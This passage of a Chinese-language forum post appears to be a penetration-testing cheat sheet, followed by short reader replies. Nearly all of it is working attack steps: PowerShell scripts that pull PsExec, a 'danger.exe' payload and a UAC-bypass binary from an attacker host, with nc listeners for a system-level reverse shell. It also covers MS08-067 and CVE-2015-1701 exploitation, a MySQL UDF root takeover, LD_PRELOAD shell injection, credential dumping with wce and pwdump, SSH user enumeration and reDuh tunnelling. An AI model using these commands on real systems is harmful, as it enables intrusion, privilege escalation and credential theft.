  2. # 显示账户配置
  3. net user

  4. # Kali 上下载 psexec

  5. https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

  6. # 使用 powershell 脚本上传 psexec.exe 到目标机器
  7. echo $client = New-Object System.Net.WebClient > script.ps1
  8. echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
  9. echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
  10. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

  11. # 使用 powershell 脚本上传 danger.exe 到目标机器
  12. echo $client = New-Object System.Net.WebClient > script2.ps1
  13. echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
  14. echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
  15. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

  16. # 使用预编译的二进制文件绕过 UAC:

  17. https://github.com/hfiref0x/UACME

  18. # 使用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目标机器
  19. echo $client = New-Object System.Net.WebClient > script2.ps1
  20. echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
  21. echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
  22. powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

  23. # 在 Kali 上创建监听
  24. nc -lvp 4444

  25. # 以系统权限使用 Akagi64 运行 danger.exe 
  26. Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

  27. # 在 Kali 上创建监听
  28. nc -lvp 4444

  29. # 下一步就会反弹给我们一个提过权的 shell
  30. # 以系统权限使用 PsExec 运行 danger.exe 
  31. psexec.exe –i –d –accepteula –s danger.exe
复制代码
以普通用户身份在 Win7 上反弹具有系统权限的 Shell
  1. https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051

  2. https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html


  3. https://www.exploit-db.com/exploits/37049/

  4. # 查找目标机器是否安装了补丁,输入如下命令
  5. wmic qfe get
  6. wmic qfe | find "3057191"

  7. # 上传编译后的利用程序并运行它

  8. https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

  9. # 默认情况下其会以系统权限执行 cmd.exe,但我们需要改变源代码以运行我们上传的 danger.exe
  10. # https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c"

  11. # 使用 wce.exe 获取已登录用户的明文账号密码

  12. http://www.ampliasecurity.com/research/windows-credentials-editor/

  13. wce -w

  14. # 使用 pwdump7 获取其他用户的密码哈希值

  15. http://www.heise.de/download/pwdump.html

  16. # we can try online hash cracking tools such crackstation.net
复制代码
MS08-067 – 不使用 Metasploit
  1. $ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
  2. $ searchsploit ms08-067
  3. $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
复制代码
通过 MySQL Root 账户实现提权
  1. # Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
  2. $ wget 0xdeadbeef.info/exploits/raptor_udf2.c
  3. $ gcc -g -c raptor_udf2.c
  4. $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  5. mysql -u root -p
  6. mysql> use mysql;
  7. mysql> create table foo(line blob);
  8. mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
  9. mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
  10. mysql> create function do_system returns integer soname 'raptor_udf2.so';
  11. mysql> select * from mysql.func;
  12. mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

  13. user:~$ su -
  14. Password:
  15. user:~# whoami
  16. root
  17. root:~# id
  18. uid=0(root) gid=0(root) groups=0(root)
复制代码
使用 LD_PRELOAD 注入程序
  1. $ wget https://github.com/jivoi/pentest/ldpreload_shell.c
  2. $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
  3. $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
复制代码
针对 OpenSSH 用户进行枚举时序攻击
  1. 注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。

  2. osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。

  3. # https://github.com/c0r3dump3d/osueta
  4. $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
  5. $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
复制代码
使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道
  1. 注: ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

  2. 对了亲~ReDuh-Gui 号称端口转发神器哦。

  3. # https://github.com/sensepost/reDuh

  4. # 步骤 1
  5. # 上传 reDuh.jsp 目标服务器
  6. $ http://192.168.10.50/uploads/reDuh.jsp

  7. # 步骤 2
  8. # 在本机运行 reDuhClient 
  9. $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

  10. # 步骤 3
  11. # 使用 nc 连接管理端口
  12. $ nc -nvv 127.0.0.1 1010

  13. # 步骤 4
  14. # 使用隧道转发本地端口到远程目标端口
  15. [createTunnel] 7777:172.16.0.4:3389

  16. # 步骤 5
  17. # 使用 RDP 连接远程
  18. $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
复制代码

不错的干货,值得收藏

TOP

 
厉害了 

TOP

 
楼主可以转载吗?

你可能感兴趣的:(Windows渗透)